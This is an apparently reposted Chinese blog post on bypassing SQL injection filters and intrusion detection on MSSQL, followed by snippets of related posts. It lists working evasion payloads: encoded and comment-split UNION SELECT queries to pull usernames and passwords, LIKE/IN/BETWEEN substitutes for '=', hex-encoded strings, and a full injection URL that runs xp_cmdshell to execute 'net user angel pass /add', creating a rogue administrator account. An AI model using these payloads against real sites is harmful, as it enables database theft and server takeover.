1. 程式人生 > >繞過or1=1進行sql注入

繞過or1=1進行sql注入

突然想我們是否可以用什麼方法繞過SQL注入的限制呢?到網上考察了一下,提到的方法大多都是針對AND與“’”號和“=”號過濾的突破,雖然有點進步的地方,但還是有一些關鍵字沒有繞過,由於我不常入侵網站所以也不敢對上述過濾的效果進行評論,但是可以肯定的是,效果不會很好……

經過我的收集,大部分的防注入程式都過濾了以下關鍵字:

and | select | update | chr | delete | %20from | ; | insert | mid | master. | set | =

而這裡最難處理的就是select這個關鍵字了,那麼我們怎樣來突破他們呢?問題雖未完全解決,但還是說出來與大家分享一下,希望能拋磚引玉。
對於關鍵字的過濾,以下是我收集的以及我個人的一些想法。

1、運用編碼技術繞過

如URLEncode編碼,ASCII編碼繞過。例如or 1=1即%6f%72%20%31%3d%31,而Test也可以為CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。

2、通過空格繞過

如兩個空格代替一個空格,用Tab代替空格等,或者刪除所有空格,如or’ swords’ =‘swords’ ,由於mssql的鬆散性,我們可以把or ‘swords’ 之間的空格去掉,並不影響執行。

3、運用字串判斷代替

用經典的or 1=1判斷繞過,如or ‘swords’ =’swords’,這個方法就是網上在討論的。

4、通過型別轉換修飾符N繞過

可以說這是一個不錯的想法,他除了能在某種程度上繞過限制,而且還有別的作用,大家自己好好想想吧。關於利用,如or ‘swords’ = N’ swords’ ,大寫的N告訴mssql server 字串作為nvarchar型別,它起到型別轉換的作用,並不影響注射語句本身,但是可以避過基於知識的模式匹配IDS。

5、通過+號拆解字串繞過

效果值得考證,但畢竟是一種方法。如 or ‘swords’ =‘sw’ +’ ords’ ;EXEC(‘IN’ +’ SERT INTO ‘+’ …..’ )

6、通過LIKE繞過

以前怎麼就沒想到呢?如or ‘swords’ LIKE ‘sw’!!!顯然可以很輕鬆的繞過“=”“>”的限制……

7、通過IN繞過

與上面的LIKE的思路差不多,如or ‘swords’ IN (‘swords’)

8、通過BETWEEN繞過

如or ‘swords’ BETWEEN ‘rw’ AND ‘tw’

9、通過>或者<繞過

or ‘swords’ > ‘sw’
or ‘swords’ < ‘tw’
or 1<3

……

10、運用註釋語句繞過

用/**/代替空格,如:UNION /**/ Select /**/user,pwd,from tbluser

用/**/分割敏感詞,如:U/**/ NION /**/ SE/**/ LECT /**/user,pwd from tbluser

11、用HEX繞過,一般的IDS都無法檢測出來

0x730079007300610064006D0069006E00 =hex(sysadmin)
0x640062005F006F0077006E0065007200 =hex(db_owner)

另外,關於通用點的過濾方法,我們可以考慮採用賦值的方法,例如先宣告一個變數a,然後把我們的指令賦值給a,然後呼叫變數a最終執行我們輸入的命令。變數a可以是任何命令。如下:

  declare @a sysname
select @a=
exec master.dbo.xp_cmdshell @a

效果http://www.hackline.NET/show.asp?id=1;declare%[email protected]% 20sysname%20select%[email protected]=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f

00610064006400%20exec%20master.dbo.xp_cmdshell%[email protected];–

其中的 0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400 就是“net user angel pass /add”的意思。

相關推薦

繞過or1=1進行sql注入

突然想我們是否可以用什麼方法繞過SQL注入的限制呢?到網上考察了一下,提到的方法大多都是針對AND與“’”號和“=”號過濾的突破,雖然有點進步的地方,但還是有一些關鍵字沒有繞過,由於我不常入侵網站所以也不敢對上述過濾的效果進行評論,但是可以肯定的是,效果不會很好…… 經過我

繞過安全狗進行sql注入(MySQL)

看我如何一步一步繞過安全狗 前言 前幾天滲透了一個站,由於沒有做好善後工作被管理員發現了,再次訪問那個站的時候,管理員已經刪了大馬,裝上了網站安全狗(我估計大馬應該是安全狗刪除的,畢竟那個管理員真的太懶了,我的小馬還在,並且居然菜刀還可以連線),為了給這個管理員增強點安全防護意識

[實戰]使用SQLmap進行SQL注入

一、什麼是SQLmap? SQLmap是一款用來檢測與利用SQL注入漏洞的免費開源工具,有一個非常棒的特性,即對檢測與利用的自動化處理(資料庫指紋、訪問底層檔案系統、執行命令)。 備註:SQLmap是python程式碼 二、SQL注入

ThinkPHP 5.1.x SQL注入漏洞分析

一、背景引見 ThinkPHP 是一個疾速、複雜的基於 MVC 和麵向物件的輕量級 PHP 開發框架,遵照 Apache2 開源協議釋出。ThinkPHP從降生以來不斷秉承簡潔適用的設計準繩,在堅持出色的功能和至簡的程式碼的同時,也注重開發體驗和易用性,為 WEB 使用和 API 開發提供了強無

CNVD-2018-20024——MetInfo 6.1.2 SQL注入漏洞

0x00漏洞簡介 metinfo是一個cms 6.1.2版本中存在一個sql盲注漏洞 0x01漏洞細節與漏洞利用 在\app\system\message\web\message.class.php的add函式。 get_one這裡有個columnid 這個地方是傳入int型別

對原生php進行sql注入

<?php include 'config.php'; //連線資料庫檔案 $name=$_GET['name']; //接收使用者名稱 $sex=$_GET['sex']; //接收密碼 $sql="select * from stu where name='$name' and

初使用sqlmap對dvwa進行sql注入

1.下載安裝dvwa,可以去此處下載:http://www.dvwa.co.uk/ 2.需要安裝python執行環境,我使用的是python2.7,python2.7-3.0之間的應該都可以。 3.下載sqlmap包並將其解壓 4.直接cmd執行sqlmap,輸入sqlmap.py -h檢視幫助資訊

使用dvwa作為靶場,進行SQL注入的練習

SQL注入 所謂SQL注入,就是通過把SQL命令插入到Web表單提交或輸入域名或頁面請求的查詢字串,最終達到欺騙伺服器執行惡意的SQL命令。具體來說,它是利用現有應用程式,將(惡意的)SQL命令注入到後臺資料庫引擎執行的能力,它可以通過在Web表單中輸入(惡意)SQL語句得到一個存在安全漏洞

Burpsuite與sqlmap結合進行sql注入滲透測試

SQL注入漏洞測試網站:http://testasp.vulnweb.com/ 2.分別配置burpsuite的代理和火狐瀏覽器的代理伺服器: 設定burp的proxy--Intercept為Intercept on即擷取資料模式,然後在漏洞測試網站的登入頁面填入使

利用X-Forwarded-For進行sql注入

由於系統一般會採用String ip = request.getHeader("X-Forwarded-For");進行獲取ip,然後注入者就可以通過X-Forwarded-For請求頭資訊就行偽造ip,當然了這個ip也可以是一些注入語句,如下X-Forwarded-For:

實驗吧WP(web部分)【登入一下好嗎,who are you, 因缺思汀的繞過,簡單的sql注入之3】【不想更新實驗吧了,伺服器太差】

六. 登入一下好嗎?通過這道題提示下寄幾:不是所有有關sql語句的注入都要報庫名錶名欄位名!!!首先開啟這道題,是倆輸入框,輸入1和1有回顯,輸入union等字元會不顯示,想著應該是回顯注入此時應自動腦補sql語句:select * from user where usern

利用hackbar進行sql注入簡單例項

這個簡單的例項是對一個網址進行sql注入,獲得管理員的賬號和密碼 步驟如下: (1)先猜解當前網頁的欄位數 在hackbar的輸入框中輸入: http://www.xxx/news_deta

SQL注入——Less-1

                 宣告:本實驗教程僅供研究學習使用,請勿用於非法用途,違者一律自行承擔所有風險!!!   開啟主頁進入第一關,提示輸入引數id及它的值, 傳入引數

實驗吧 簡單的SQL注入1

解題連結: http://ctf5.shiyanbar.com/423/web/ 解題思路:一,   輸入1,不報錯;輸入1',報錯;輸入1'',不報錯。 二 ,   輸入1 and 1=1,返回1 1=1,可知,and被過濾了。 三,  &n

JDBC課程4--使用PreparedStatement進行增刪查改, JDBCTools新增對應的的功能,模擬SQL注入

主要內容:   熟悉了使用PreparedStatement的優勢,沒有使用封裝和使用封裝的方法進行實現了;   以及JDBCTools新增update_sql(String sql,Object...args) 和query_sql(String sql,Object...args)兩個功能模組,分別實

[漏洞分析]thinkcmf 1.6.0版本從sql注入到任意程式碼執行

0x00 前言 該漏洞源於某真實案例,雖然攻擊沒有用到該漏洞,但在分析攻擊之後對該版本的cmf審計之後發現了,也算是有點機遇巧合的味道,我沒去找漏洞,漏洞找上了我XD thinkcmf 已經非常久遠了,該版本看github上的更新時間已經是4年前了,也就是2014年的時候,那時候我沒學安全呢。。。 &n

sql注入繞過union select過濾

# # # #WAF Bypassing Strings: /*!%55NiOn*/ /*!%53eLEct*/ %55nion(%53elect 1,2,3)-- - +union+distinct+select+ +union+distinctROW+select+

SQL注入之騷姿勢小記 & 替換 繞過

https://mp.weixin.qq.com/s/ORsciwsBGQJhFdKqceprSw 1、IN之騷 這個我也偶然發現的,也不知前輩們有沒有早已總結好的套路了。w3school上對in操作符的介紹: http://www.w3school.com.cn/sql/sql_in.

sql 注入 繞過 waf

https://notwhy.github.io/2018/06/sql-injection-fuck-waf/ 0x0 前言 0x1 注入點檢測 0x2 bypass waf 0x3 自動化 0x0 前言   這裡是簡單對sql注入繞過waf的一個小總結,非安全研究員,這裡不講原

【程式碼審計】五指CMS_v4.1.0 copyfrom.php 頁面存在SQL注入漏洞分析

  0x00 環境準備 五指CMS官網:https://www.wuzhicms.com/ 網站原始碼版本:五指CMS v4.1.0 UTF-8 開源版 程式原始碼下載:https://www.wuzhicms.com/download/ 測試網站首頁:   0x01 程式碼